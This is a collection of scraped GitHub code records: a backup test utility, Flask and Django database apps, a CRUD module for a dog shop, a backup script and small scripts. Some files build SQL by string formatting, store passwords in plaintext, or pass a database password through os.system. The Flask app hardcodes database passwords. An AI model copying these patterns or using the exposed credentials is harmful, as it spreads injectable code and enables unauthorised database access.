file size to mimic google drive\n        stat.st_size = stat.st_size - 1\n        self._paths_with_stat_overrides.add(path)\n        return stat\n      return lib.Stat(path, follow_symlinks=follow_symlinks)\n\n  handler = GoogleDriveRemoteFilesHandler()\n\n  old_stat_value = lib.PathInfo.STAT_FUNCTION\n  lib.PathInfo.STAT_FUNCTION = handler.StatOverride\n  try:\n    yield handler\n  finally:\n    lib.PathInfo.STAT_FUNCTION = old_stat_value\n\n\n@contextlib.contextmanager\ndef HandleGetPass(expected_prompts=[], returned_passwords=[]):\n  expected_prompts = expected_prompts[:]\n  returned_passwords = returned_passwords[:]\n\n  def GetPass(prompt=''):\n    AssertEquals(expected_prompts[0], prompt, allow_regex_match=True)\n    del expected_prompts[0]\n    returned_password = returned_passwords[0]\n    del returned_passwords[0]\n    return returned_password\n\n  old_value = lib.GETPASS_FUNCTION\n  lib.GETPASS_FUNCTION = GetPass\n  try:\n    yield\n    AssertEquals([], expected_prompts)\n    AssertEquals([], returned_passwords)\n  finally:\n    lib.GETPASS_FUNCTION = old_value\n","repo_name":"cantstopthesignal/backups_lib","sub_path":"lib_test_util.py","file_name":"lib_test_util.py","file_ext":"py","file_size_in_byte":11995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"36469885645","text":"from db import db\nimport pandas as pd\nimport os\nfrom math import ceil\n\nclass DatasourceModel(db.Model):\n    __tablename__= 'datasource'\n\n    datasource_id = db.Column(db.Integer, primary_key=True)\n    datasource_name = db.Column(db.String(255))\n    datasource_description = db.Column(db.String(255))\n    file_id = db.Column(db.String(255))\n    user_schema_name = db.Column(db.String(255))\n    user_table_name = db.Column(db.String(255))\n    user_id = db.Column(db.Integer)\n    created_at = db.Column(db.TIMESTAMP)\n\n    def __init__(self, datasource_name, datasource_description, user_schema_name, user_table_name, user_id):\n        self.datasource_name = datasource_name\n        self.datasource_description = datasource_description\n        self.user_schema_name = user_schema_name\n        self.user_table_name = user_table_name\n        self.user_id = user_id\n\n    @classmethod\n    def find_all(cls, user_id):\n        db.engine.execute('USE {};'.format('data_science'))\n        return cls.query.filter_by(user_id=user_id).order_by(DatasourceModel.created_at.desc())\n\n    @classmethod\n    def find_one_by_id(cls, user_id, datasource_id):\n        db.engine.execute('USE {};'.format('data_science'))\n        return cls.query.filter_by(datasource_id=datasource_id, user_id=user_id).first()\n\n    def json(self):\n        return {\n            'datasource_name': self.datasource_name,\n            'datasource_description': self.datasource_description,\n            'user_schema_name': self.user_schema_name,\n            'user_table_name': self.user_table_name,\n            'created_at': str(self.created_at)\n        }\n\n    @classmethod\n    def find_by_name(cls, datasource_name, user_id):\n        db.engine.execute('USE {};'.format('data_science'))\n        return cls.query.filter_by(datasource_name=datasource_name, user_id=user_id).first()\n\n    def save_to_db(self, file_id):\n        self.file_id = file_id\n        db.engine.execute('USE {};'.format('data_science'))\n        db.session.add(self)\n        db.session.commit()\n\n    def new_datasource(self, dataset_dataframe):\n        db.engine.execute('USE {};'.format('data_science'))\n        db.engine.execute('CREATE SCHEMA IF NOT EXISTS {};'.format(self.user_schema_name))\n        db.session.commit()\n        engine = db.create_engine('{}/{}'.format(os.environ.get('DATABASE_URI_USER'), self.user_schema_name))\n        connection = engine.connect()\n        dataset_dataframe.to_sql(name=self.user_table_name, con=engine, index=False, if_exists='append')\n        connection.execute('USE {};'.format(self.user_schema_name))\n        result = connection.execute('''SELECT * FROM INFORMATION_SCHEMA.COLUMNS\n            WHERE table_name = \"{}\"\n            AND table_schema = \"{}\"\n            AND column_name = \"id\";'''.format(self.user_table_name, self.user_schema_name))\n        result_exists = [row for row in result]\n        if result_exists == []:\n            connection.execute('USE {};'.format(self.user_schema_name))\n            connection.execute('ALTER TABLE {} ADD id INT PRIMARY KEY AUTO_INCREMENT FIRST;'.format(self.user_table_name))\n        connection.close()\n        db.engine.execute('USE {};'.format('data_science'))\n        db.session.commit()\n\n    @classmethod\n    def append_datasource(cls, dataset, user_schema_name, user_table_name):\n        engine = db.create_engine('{}/{}'.format(os.environ.get('DATABASE_URI_USER'), user_schema_name))\n        dataset.to_sql(name=user_table_name, con=engine, index=False, if_exists='append')\n    \n    @classmethod\n    def delete_datasource(cls, user_schema_name, user_table_name):\n        engine = db.create_engine('{}/{}'.format(os.environ.get('DATABASE_URI_USER'), user_schema_name))\n        connection = engine.connect()\n        connection.execute('DROP TABLE {};'.format(user_table_name))\n        connection.close()\n\n    def get_datasource(self):\n        engine = db.create_engine('{}/{}'.format(os.environ.get('DATABASE_URI_USER'), self.user_schema_name))\n        dataset = pd.read_sql_table(self.user_table_name, engine)\n        return dataset\n\n    def get_datasource_pages(self, page_size):\n        engine = db.create_engine('{}/{}'.format(os.environ.get('DATABASE_URI_USER'), self.user_schema_name))\n        dataset = pd.read_sql_query(\n        \"\"\"\n        SELECT TABLE_ROWS\n            FROM information_schema.tables\n            WHERE table_schema=DATABASE()\n            AND table_name='{}';\n        \"\"\".format(self.user_table_name), engine)\n    \n        return (ceil(int(dataset['TABLE_ROWS'][0]) / int(page_size)), int(dataset['TABLE_ROWS'][0]))\n\n\n    def get_datasource_per_page(self, page, page_size):\n        page = int(page) - 1\n        page_size = int(page_size)\n        engine = db.create_engine('{}/{}'.format(os.environ.get('DATABASE_URI_USER'), self.user_schema_name))\n        dataset = pd.read_sql_query(\n        \"\"\"\n            SELECT * \n            FROM {}\n            WHERE id > {}\n            ORDER BY id\n            LIMIT {}\n        \"\"\".format(self.user_table_name, str(page * page_size), str(page_size)), engine)\n        return dataset\n\n    @classmethod\n    def get_columns(cls, user_schema_name, user_table_name):\n        query = \"select COLUMN_NAME, DATA_TYPE from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='{}' AND TABLE_NAME='{}'\".format(user_schema_name, user_table_name)\n        engine = db.create_engine('{}/{}'.format(os.environ.get('DATABASE_URI_USER'), user_schema_name))\n        result = db.engine.execute(query)\n        col = [ { 'column_name': row[0], 'data_type': row[1] } for row in result ]\n        return col\n    \n    def delete_from_db(self):\n        db.session.delete(self)\n        db.session.commit()\n","repo_name":"songponlekpetch/datascience_api","sub_path":"app/models/datasource.py","file_name":"datasource.py","file_ext":"py","file_size_in_byte":5649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20479611115","text":"from flask import Flask,render_template,request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom send_email import send_email\nfrom sqlalchemy.sql import func\n\napp=Flask(__name__)\n#app.config['SQLALCHEMY_DATABASE_URI']='postgresql://postgres:Netid~6313@localhost/height_collector'\n#app.config['SQLALCHEMY_DATABASE_URI']='postgres://acbtlctazfbytw:b12e304d817b8cd79adc3daafbbff6db79972d4b8603d9e8e6a4842c454a3217@ec2-54-157-78-113.compute-1.amazonaws.com:5432/d2qv82r63jum92?sslmode=require'\napp.config['SQLALCHEMY_DATABASE_URI']='postgres://dshhjyhttkealk:b046c7842a62059203b3ccada558f9383236220201ccfd747a64fc3707b1e10c@ec2-54-210-128-153.compute-1.amazonaws.com:5432/dec7sbjk9qh564?sslmode=require'\ndb=SQLAlchemy(app)\n\n\n\nclass Data(db.Model):\n    __tablename__=\"data\"\n    id=db.Column(db.Integer,primary_key=True)\n    email_=db.Column(db.String(120),unique=True)\n    height_=db.Column(db.Integer)\n\n    def __init__(self,email_,height_):\n        self.email_=email_\n        self.height_=height_\n\n@app.route(\"/\")\ndef index():\n    return render_template(\"index.html\")\n\n@app.route(\"/success\",methods=['POST'])\ndef success():\n    if request.method=='POST':\n        email=request.form[\"email_name\"]\n        height=request.form[\"height_name\"]\n        if db.session.query(Data).filter(Data.email_==email).count() == 0:\n            data=Data(email,height)\n            db.session.add(data)\n            db.session.commit()\n            avg_height=db.session.query(func.avg(Data.height_)).scalar()\n            avg_height=round(avg_height,1)\n            count=db.session.query(Data.height_).count()\n            send_email(email,height,avg_height,count)\n            return render_template(\"success.html\")\n        else:\n            return render_template(\"index.html\",text=\"Seems like this email is already registered!\")\n\n\nif __name__=='__main__':\n    app.debug=True\n    app.run()\n","repo_name":"mridul0412/HeightDataCollector","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"43330628430","text":"from django.shortcuts import render\n\n# from rest_framework.decorators import action\nfrom rest_framework.decorators import detail_route, list_route\nfrom rest_framework.response import Response\nfrom rest_framework import views\n\nfrom rest_framework import  viewsets, mixins\nfrom awx.ipam.models import * # noqa\nfrom awx.ipam.serializers import * # noqa\nfrom awx.main.utils import * # noqa\nfrom awx.api.generics import get_view_name\nfrom awx.api.generics import * # noqa\n\nfrom awx.ipam.utils import sources # noqa\nimport os\nimport datetime\nfrom collections import OrderedDict\nfrom django.utils.translation import ugettext_lazy as _\n# Create your views here.\n\n\n\n## ViewSets define the view behavior.\nclass IpamRirViewSet(viewsets.ModelViewSet):\n    queryset = Rir.objects.all()\n    serializer_class = IpamRirSerializer\n\nclass IpamVrfViewSet(viewsets.ModelViewSet):\n    queryset = Vrf.objects.all()\n    serializer_class = IpamVrfSerializer\n\n\nclass IpamDatacenterViewSet(viewsets.ModelViewSet):\n    queryset = Datacenter.objects.all()\n    serializer_class = IpamDatacenterSerializer\n\n\nclass IpamAggregateViewSet(viewsets.ModelViewSet):\n    queryset = Aggregate.objects.all()\n    serializer_class = IpamAggregateSerializer\n\n\n\nclass IpamPrefixViewSet(viewsets.ModelViewSet):\n    queryset = Prefix.objects.all()\n    serializer_class = IpamPrefixSerializer\n\n\nclass IpamIPAddressViewSet(viewsets.ModelViewSet):\n    queryset = IPAddress.objects.all()\n    serializer_class = IpamIPAddressSerializer\n\nclass IpamVlanViewSet(viewsets.ModelViewSet):\n    queryset = Vlan.objects.all()\n    serializer_class = IpamVlanSerializer\n\nclass IpamProviderViewSet(viewsets.ModelViewSet):\n    queryset = Provider.objects.all()\n    serializer_class = IpamProviderSerializer\n\n# Storage\nclass IpamStorageViewSet(viewsets.ModelViewSet):\n    queryset = Storage.objects.all()\n    serializer_class = IpamStorageSerializer\n\n# Service\nclass IpamServiceViewSet(viewsets.ModelViewSet):\n    queryset = Service.objects.all()\n    serializer_class = IpamServiceSerializer\n\n# Network\nclass IpamNetworkViewSet(viewsets.ModelViewSet):\n    queryset = Network.objects.all()\n    serializer_class = IpamNetworkSerializer\n\n\n# App\nclass IpamAppViewSet(viewsets.ModelViewSet):\n    queryset = App.objects.all()\n    serializer_class = IpamAppSerializer\n\n# Noc\nclass IpamNocViewSet(viewsets.ModelViewSet):\n    queryset = Noc.objects.all()\n    serializer_class = IpamNocSerializer\n\n# Security\nclass IpamSecurityViewSet(viewsets.ModelViewSet):\n    queryset = Security.objects.all()\n    serializer_class = IpamSecuritySerializer\n\n# Monitoring\nclass IpamMonitoringViewSet(viewsets.ModelViewSet):\n    queryset = Monitoring.objects.all()\n    serializer_class = IpamMonitoringSerializer\n\n# PKI\nclass IpamPkiViewSet(viewsets.ModelViewSet):\n    queryset = Pki.objects.all()\n    serializer_class = IpamPkiSerializer\n\n# Backup\nclass IpamBackupViewSet(viewsets.ModelViewSet):\n    queryset = Backup.objects.all()\n    serializer_class = IpamBackupSerializer\n\n# Documentaton\nclass IpamDocumentationViewSet(viewsets.ModelViewSet):\n    queryset = Documentation.objects.all()\n    serializer_class = IpamDocumentationSerializer\n\n# InfrastructureJob\nclass IpamInfrastructureJobViewSet(viewsets.ModelViewSet):\n    queryset = InfrastructureJob.objects.all()\n    serializer_class = IpamInfrastructureJobSerializer\n\n# BareMetal\nclass IpamBareMetalViewSet(viewsets.ModelViewSet):\n    queryset = BareMetal.objects.all()\n    serializer_class = IpamBareMetalSerializer\n\n# VirtualHost\nclass IpamVirtualHostViewSet(viewsets.ModelViewSet):\n    queryset = VirtualHost.objects.all()\n    serializer_class = IpamVirtualHostSerializer\n\n# NetworkGear\nclass IpamNetworkGearViewSet(viewsets.ModelViewSet):\n    queryset = NetworkGear.objects.all()\n    serializer_class = IpamNetworkGearSerializer\n\n# Registry\nclass IpamRegistryViewSet(viewsets.ModelViewSet):\n    queryset = Registry.objects.all()\n    serializer_class = IpamRegistrySerializer\n\n# Infraastructure Source\nclass IpamInfrastructureUiViewSet(viewsets.ViewSet):\n    # queryset = Registry.objects.all()\n    # serializer_class = IpamRegistrySerializer\n\n    def list(self, request, *args, **kwargs):\n        # pass\n        return Response( sources.infrastructure_api_source() )\n\n    @list_route(methods=['get'])\n    def group_names(self, request, pk=None, **kwargs):\n        \"\"\"\n        Returns a list of all the group names that the given\n        user belongs to.\n        \"\"\"\n        return Response( {'demo': 'request'} )\n\n    # def create(self, request):\n    #     pass\n\n    def retrieve(self, request, pk=None):\n        pass\n\n    # def update(self, request, pk=None):\n    #     pass\n\n    def partial_update(self, request, pk=None):\n        pass\n\n    def destroy(self, request, pk=None):\n        pass\n\n\n\n\n# Infraastructure Job Source\nclass IpamInfrastructureJobUiViewSet(viewsets.ViewSet):\n    # queryset = Registry.objects.all()\n    # serializer_class = IpamRegistrySerializer\n\n    def list(self, request, *args, **kwargs):\n        # pass\n        return Response( sources.infrastructure_api_job_source() )\n\n\n    def retrieve(self, request, pk=None):\n        pass\n\n    # def update(self, request, pk=None):\n    #     pass\n\n    def partial_update(self, request, pk=None):\n        pass\n\n    def destroy(self, request, pk=None):\n        pass\n\n\n\n\n\nclass GenericSourceView(viewsets.ViewSet):\n\n\n    def list(self, request, format=None, **kwargs):\n        ''' Show Source Details '''\n        DIRECTORY = \"%s/ipam_sources/%s\" % (sources.BASE_DIR, self.directory_name)\n        data = {}\n        directories = os.listdir( DIRECTORY )\n        for directory in directories:\n            data[directory] = reverse('api:ipam_%s_def-detail' % self.directory_name, kwargs={ 'pk': directory } )\n        \n            # data[_directory]['url'] = reverse('api:ipam_source-detail', kwargs={ 'pk': _directory } )\n\n        return Response(data)\n\n\n    def retrieve(self, request, pk=None, **kwargs):\n\n        DIRECTORY = \"%s/ipam_sources/%s\" % (sources.BASE_DIR, self.directory_name)\n\n        data = OrderedDict()\n\n        files = os.listdir( \"%s/%s\"  % ( DIRECTORY, pk ) )\n        data['count'] = len(files)\n        data['results'] = []\n        data['boxes'] = OrderedDict()\n        data['related'] = OrderedDict()\n        for file in files:\n            voutput = sources.from_yml_get_related( \"%s/%s/%s\"  % ( DIRECTORY, pk, file ) )\n\n#            data['results'].append(voutput['id'])\n            if voutput['id'] != 'form' and voutput['id'] != None:\n                data['results'].append(voutput['id'])\n                data['boxes'][voutput['id']] = OrderedDict()\n                data['boxes'][voutput['id']] = voutput\n\n        data['count'] = len(data['results'])\n        return Response( data )\n\n\nclass IpamInfrastructureSourceView(GenericSourceView):\n    directory_name = 'infrastructures'\n    view_name = _('Infrastructure Source')\n\n\nclass IpamResourceSourceView(GenericSourceView):\n    directory_name = 'resources'\n    view_name = _('Resource Source')\n\n\n\n","repo_name":"afahounko/ahome","sub_path":"awx/ipam/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7001,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"74455398511","text":"import src.database as db\nfrom flask import request, jsonify\n\n\n\ndatabase_path = \"\"\n\ndef init_db(database):\n    global database_path\n    database_path = database\n\n\ndef add_user():\n    try:\n        con = db.conectdb()\n        if con is None:\n            return \"Error: No se pudo establecer la conexión a la base de datos\"\n        \n        cursor = con.cursor()\n        data = request.get_json()\n\n        name = data[\"name\"]\n        adress = data[\"adress\"]\n        phone = data[\"phone\"] \n        password = data[\"password\"]\n        message = data[\"message\"]\n        cursor.execute('INSERT INTO clientes ( name, address, phone, password, message) VALUES (%s, %s, %s, %s, %s)', (name, adress, phone, password, message))\n        \n        con.commit()\n        con.close()\n\n        print('User agregado exitosamente')\n\n        return \"User creado exitosamente\"\n    except Exception as e:  # Captura excepciones específicas y muestra el error\n        print(\"Error:\", e)\n        return \"Error al agregar el user\"\n\n\n\n    \ndef get_user(id):\n    con = db.conectdb()\n    cursor = con.cursor()\n    cursor.execute('SELECT * FROM clientes WHERE id_cliente = %s', (id,))\n    data_user = cursor.fetchone()\n    \n    if data_user:\n        data = {'id_cliente': data_user[0], 'name': data_user[1], 'adress': data_user[2], 'phone': data_user[3]}\n        con.close()\n        print(data)\n        return jsonify(data)\n    else:\n        return 'The user was not found' \n\n\ndef users_get():\n    try:\n        con = db.conectdb()\n        if con is None:\n            return \"Error: No se pudo establecer la conexión a la base de datos\"\n\n        cursor = con.cursor()\n        cursor.execute('SELECT * FROM clientes')\n        users = cursor.fetchall()\n        con.close()\n\n        return users\n    except Exception as e:\n        print(\"Error:\", e)\n        return \"Error al obtener los usuarios\"\n\n\ndef user_delete(id_delete):\n    con = db.conectdb()\n    cursor = con.cursor()\n    cursor.execute('DELETE FROM clientes WHERE id_cliente = %s', (id_delete,))\n    con.commit()\n    con.close()\n    return 'Product deleted'\n\ndef user_edit(id_edit,data):\n    con = db.conectdb()\n    cursor = con.cursor()\n    \n    \n    if \"name\" in data:\n        name = data[\"name\"]\n        cursor.execute('UPDATE clientes SET name = %s WHERE id_cliente = %s', (name, id_edit))\n\n    if \"adress\" in data:\n        adress = data[\"adress\"]\n        cursor.execute('UPDATE clientes SET adress = %s WHERE id_cliente = %s', (adress, id_edit))\n\n    if \"phone\" in data:\n        phone = data[\"phone\"]\n        cursor.execute('UPDATE clientes SET phone = %s WHERE id_cliente = %s', (phone, id_edit))\n              \n    con.commit()\n    con.close()\n\n    return 'Dates modified'\n\n\n# Dogs function\ndef dogs_add():\n    try:\n        con = db.conectdb()\n        if con is None:\n            return \"Error: No se pudo establecer la conexión a la base de datos\"\n        \n        cursor = con.cursor()\n        data = request.get_json()\n        id_product = data[\"id_product\"]\n        photo = data[\"photo\"]\n        description = data[\"description\"] \n        precio = data[\"precio\"]\n        cliente_id = data[\"cliente_id\"]\n        cursor.execute('INSERT INTO product_perros (id_product ,photo, description, precio, cliente_id) VALUES (%s,%s, %s, %s, %s)', (id_product, photo, description, precio, cliente_id))\n        con.commit()\n        con.close()\n\n        print('Perro agregado exitosamente')\n\n        return \"Perro creado exitosamente\"\n    except Exception as e:  # Captura excepciones específicas y muestra el error\n        print(\"Error:\", e)\n        return \"Error al agregar el perro\"\n\n\ndef dogs_get():\n    try:\n        con = db.conectdb()\n        if con is None:\n            return \"Error: No se pudo establecer la conexión a la base de datos\"\n        \n        cursor = con.cursor()\n        cursor.execute('SELECT * FROM product_perros')\n        products = cursor.fetchall()\n        con.close()\n\n        data_products = [{'id_product': product[0], 'photo': product[1], 'description': product[2], 'precio': product[3],'cliente_id':product[4]} for product in products]\n\n        return jsonify(data_products)\n    except Exception as e:\n\n        return f\"Error al obtener los usuarios: {str(e)}\"\n    \n\ndef get_product(id):\n    con = db.conectdb()\n    cursor = con.cursor()\n    cursor.execute('SELECT * FROM product_perros WHERE id_product = %s', (id,))\n    data_product = cursor.fetchone()\n    \n    if data_product:\n        data = {'id_product': data_product[0], 'photo': data_product[1], 'description': data_product[2], 'precio': data_product[3], 'cliente_id': data_product[4]}\n        con.close()\n        print(data)\n        return jsonify(data)\n    else:\n        return 'The product was not found' \n\n\ndef dogs_edit(id, data):\n    con = db.conectdb()\n    cursor = con.cursor()\n\n    if \"photo\" in data:\n        photo = data[\"photo\"]\n        cursor.execute('UPDATE product_perros SET photo = %s WHERE id_product = %s', (photo, id))\n\n    if \"description\" in data:\n        description = data[\"description\"]\n        cursor.execute('UPDATE product_perros SET description = %s WHERE id_product = %s', (description, id))\n\n    if \"precio\" in data:\n        precio = data[\"precio\"]\n        cursor.execute('UPDATE product_perros SET precio = %s WHERE id_product = %s', (precio, id))\n\n    if \"cliente_id\" in data:\n        cliente_id = data[\"cliente_id\"]\n        cursor.execute('UPDATE product_perros SET cliente_id = %s WHERE id_product = %s', (cliente_id, id))\n\n    con.commit()\n    con.close()\n\n    return 'Product modified'\n\n\ndef dogs_delete(id_delete):\n    con = db.conectdb()\n    cursor = con.cursor()\n    cursor.execute('DELETE FROM product_perros WHERE id_product = %s', (id_delete,))\n    con.commit()\n    con.close()\n    return 'Product deleted'\n\n\ndef add_compra():\n    try:\n        con = db.conectdb()\n        if con is None:\n            return jsonify({\"error\": \"Error: No se pudo establecer la conexión a la base de datos\"})\n        \n        cursor = con.cursor()\n        data = request.get_json()\n        cantidad = data[\"cantidad\"]\n        producto_id = data[\"producto_id\"]\n        id_cliente = data[\"id_cliente\"]\n        print(\"@#@#@#data en add_compra-\", data)\n\n        cursor.execute('INSERT INTO compras (cantidad, producto_id, id_cliente) VALUES (%s, %s, %s)',\n                       (cantidad, producto_id, id_cliente))\n        con.commit()\n        con.close()\n\n        print('Compra agregada exitosamente')\n\n        return jsonify({\"message\": \"Compra creada exitosamente\"})\n    except Exception as e:\n        print(\"Error:\", e)\n        return jsonify({\"error\": \"Error al agregar la compra\", \"details\": str(e)})\n\n    \n\n\ndef get_compra(id_compra):\n    con = db.conectdb()\n    cursor = con.cursor()\n    cursor.execute('SELECT * FROM compras WHERE id_compras = %s', (id_compra,))\n    data_compra = cursor.fetchone()\n    \n    if data_compra:\n        data = {'id_compras': data_compra[0], 'cantidad': data_compra[1], 'producto_id': data_compra[2], 'id_cliente': data_compra[3]}\n        con.close()\n        print(data)\n        return jsonify(data)\n    else:\n        return 'La compra no fue encontrada'\n\ndef get_compras():\n    try:\n        con = db.conectdb()\n        if con is None:\n            return jsonify({\"error\": \"Error: No se pudo establecer la conexión a la base de datos\"})\n\n        cursor = con.cursor()\n        cursor.execute('SELECT * FROM compras')\n\n        # Obtener los nombres de las columnas\n        column_names = [desc[0] for desc in cursor.description]\n\n        compras = cursor.fetchall()\n        con.close()\n\n        # Convertir la lista de listas en una lista de diccionarios\n        compras_dict = []\n        for compra in compras:\n            compra_dict = dict(zip(column_names, compra))\n            compras_dict.append(compra_dict)\n\n        return jsonify(compras_dict)\n    except Exception as e:\n        print(\"Error:\", e)\n        return jsonify({\"error\": \"Error al obtener las compras\", \"details\": str(e)})\n\n\ndef delete_compra(id_compra):\n    con = db.conectdb()\n    cursor = con.cursor()\n    cursor.execute('DELETE FROM compras WHERE id_compras = %s', (id_compra,))\n    con.commit()\n    con.close()\n    return 'Compra eliminada'\n\ndef edit_compra(id_compra, data):\n    con = db.conectdb()\n    cursor = con.cursor()\n    \n    if \"cantidad\" in data:\n        cantidad = data[\"cantidad\"]\n        cursor.execute('UPDATE compras SET cantidad = %s WHERE id_compras = %s', (cantidad, id_compra))\n\n    if \"producto_id\" in data:\n        producto_id = data[\"producto_id\"]\n        cursor.execute('UPDATE compras SET producto_id = %s WHERE id_compras = %s', (producto_id, id_compra))\n\n    if \"id_cliente\" in data:\n        id_cliente = data[\"id_cliente\"]\n        cursor.execute('UPDATE compras SET id_cliente = %s WHERE id_compras = %s', (id_cliente, id_compra))\n              \n    con.commit()\n    con.close()\n\n    return 'Datos de la compra modificados'\n","repo_name":"nasre21/backend_perros","sub_path":"routes/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":8902,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"24529903853","text":"numbers = []\nwith open(\"1.in\", \"r\") as f:\n    data = f.readlines()\n    for i in range(len(data)):\n        numbers.append(int(data[i].strip(\"\\n\")))\n\n\ndef fuel_counter(num):\n    fuel = num // 3 - 2\n    return fuel\n\n\nresult = 0\nfor i in range(len(numbers)):\n    result += fuel_counter(numbers[i])\nprint(result)\n","repo_name":"annatoja/Advent-Of-Code","sub_path":"1_1_19.py","file_name":"1_1_19.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"28833473458","text":"#!/usr/bin/env python3\n\n\"\"\" Backup file to put on server\n\nThis file should be placed on the server. It is either triggerd by a cron job\nor via a ssh session.\n\"\"\"\n\nimport argparse\nimport os\nimport shutil\nimport tempfile\nfrom datetime import datetime as time\n\nimport dropbox\n\n# parsing arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\"folder_to_backup\", help=\"The folder to backup\")\nparser.add_argument(\"folder_for_backup\", help=\"The folder to store the backup\")\nparser.add_argument(\"db_user\", help=\"Name of database user\")\nparser.add_argument(\"db_password\", help=\"Password for the database\")\nparser.add_argument(\"db_name\", help=\"Name of the database\")\nparser.add_argument(\"dbx_token\", help=\"Dropbox access token\")\nargs = parser.parse_args()\n\n# preferences\narchives_to_keep = 12\n\n# all paths and file names needed are specified here\nbak_name = os.path.basename(args.folder_to_backup)\nzip_file_name = bak_name + \"_\" + time.now().strftime(\"%Y-%m-%d\")\nzip_file = os.path.join(args.folder_for_backup, zip_file_name)\ndropbox_folder = \"/Backup/websitebackups/\" + bak_name + \"/\"\ndropbox_file_path = dropbox_folder + zip_file_name + \".zip\"\n\n# check for archive folder\nif not os.path.exists(args.folder_for_backup):\n    os.makedirs(args.folder_for_backup)\n\n# zipping of folders and files into tempfile\nwith tempfile.TemporaryDirectory() as working_dir:\n    wd = os.path.join(working_dir, bak_name)\n    sql = os.path.join(wd, bak_name + \".sql\")\n    shutil.copytree(args.folder_to_backup, wd)\n\n    dump_cmd = \"mysqldump -u {dbu} -p{dbp} {dbn} > {sf}\".format(\n        dbu=args.db_user, dbp=args.db_password, dbn=args.db_name, sf=sql\n    )\n    os.system(dump_cmd)\n    shutil.make_archive(zip_file, \"zip\", wd)\n\n# upload to dropbox\ndbx = dropbox.Dropbox(args.dbx_token)\nwith open(zip_file + \".zip\", \"rb\") as f:\n    dbx.files_upload(f.read(), dropbox_file_path)\n\n\n# define function for housekeeping\ndef delete_old_files(path, files_to_keep):\n    mtime = lambda f: os.stat(os.path.join(path, f)).st_mtime\n    list_sorted = list(sorted(os.listdir(path), key=mtime))\n    if len(list_sorted) > files_to_keep:\n        del_list = list_sorted[0 : (len(list_sorted) - files_to_keep)]\n        for file in del_list:\n            os.remove(path + \"/\" + file)\n\n\n# housekeeping on webserver\ndelete_old_files(args.folder_for_backup, archives_to_keep)\n\n# housekeeping on dropbox\ndbf = dropbox.files\nsm = lambda f: f.server_modified\nfiles = sorted(dbx.files_list_folder(dropbox_folder).entries, key=sm)\n\nif len(files) > archives_to_keep:\n    dfiles = list(files[0 : len(files) - archives_to_keep])\n    files_to_delete = [dbf.DeleteArg(f.path_lower) for f in dfiles]\n    dbx.files_delete_batch(files_to_delete)\n","repo_name":"RedfinDiver/website-backup","sub_path":"backup_on_server.py","file_name":"backup_on_server.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"35989206923","text":"\"\"\"\n使用keras进行深度学习模型搭建的方式，keras学习测试文件\n2019/11/18  YANG Jie    Init\n\"\"\"\nimport numpy as np\nimport keras\nfrom keras.layers import Dense, Dropout\nfrom keras.models import Sequential, load_model\nimport matplotlib.pyplot as plt\n\n\nclass LossHistory(keras.callbacks.Callback):\n    def on_train_begin(self, logs={}):\n        self.losses = {'batch': [], 'epoch': []}\n        self.accuracy = {'batch': [], 'epoch': []}\n        self.val_loss = {'batch': [], 'epoch': []}\n        self.val_acc = {'batch': [], 'epoch': []}\n\n    def on_batch_end(self, batch, logs={}):\n        self.losses['batch'].append(logs.get('loss'))\n        self.accuracy['batch'].append(logs.get('acc'))\n        self.val_loss['batch'].append(logs.get('val_loss'))\n        self.val_acc['batch'].append(logs.get('val_acc'))\n\n    def on_epoch_end(self, batch, logs={}):\n        self.losses['epoch'].append(logs.get('loss'))\n        self.accuracy['epoch'].append(logs.get('acc'))\n        self.val_loss['epoch'].append(logs.get('val_loss'))\n        self.val_acc['epoch'].append(logs.get('val_acc'))\n\n    def loss_plot(self, loss_type):\n        iters = range(len(self.losses[loss_type]))\n        # 创建一个图\n        plt.figure()\n        # acc\n        plt.plot(iters, self.accuracy[loss_type], 'r', label='train acc')  # plt.plot(x,y)，这个将数据画成曲线\n        # loss\n        plt.plot(iters, self.losses[loss_type], 'g', label='train loss')\n        if loss_type == 'epoch':\n            # val_acc\n            plt.plot(iters, self.val_acc[loss_type], 'b', label='val acc')\n            # val_loss\n            plt.plot(iters, self.val_loss[loss_type], 'k', label='val loss')\n        plt.grid(True)  # 设置网格形式\n        plt.xlabel(loss_type)\n        plt.ylabel('acc-loss')  # 给x，y轴加注释\n        plt.legend(loc=\"upper right\")  # 设置图例显示位置\n        plt.show()\n\n\n# 随机种子\nseed = 7\nnp.random.seed(seed)\n# 加载保存在csv文件中的数据\ndataset = np.loadtxt('datafix.csv', delimiter=',')\nY = dataset[:, 0]\nX = dataset[:, 1:]\n\n# 创建模型\nmodel = Sequential()\nmodel.add(Dense(64, input_dim=25, init='uniform', activation='relu'))\nmodel.add(Dropout(0.8))\nmodel.add(Dense(32, activation='relu'))\nmodel.add(Dropout(0.8))\nmodel.add(Dense(1, activation='sigmoid'))\n\n# 打印模型\nmodel.summary()\n\n# 历史记录\nlossHistory = LossHistory()\n\n# 编译模型，训练模型的方式\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n# 训练模型\nmodel.fit(X, Y, epochs=200, batch_size=512, verbose=1, callbacks=[lossHistory])\nscores = model.evaluate(X, Y)\nprint(\"%s: %.2f%%\" % (model.metrics_names[1], scores[1] * 100))\nlossHistory.loss_plot('epoch')\n# model.save('test.h5')\n","repo_name":"busyyang/ECGNet","sub_path":"src/keras_test.py","file_name":"keras_test.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"38"}
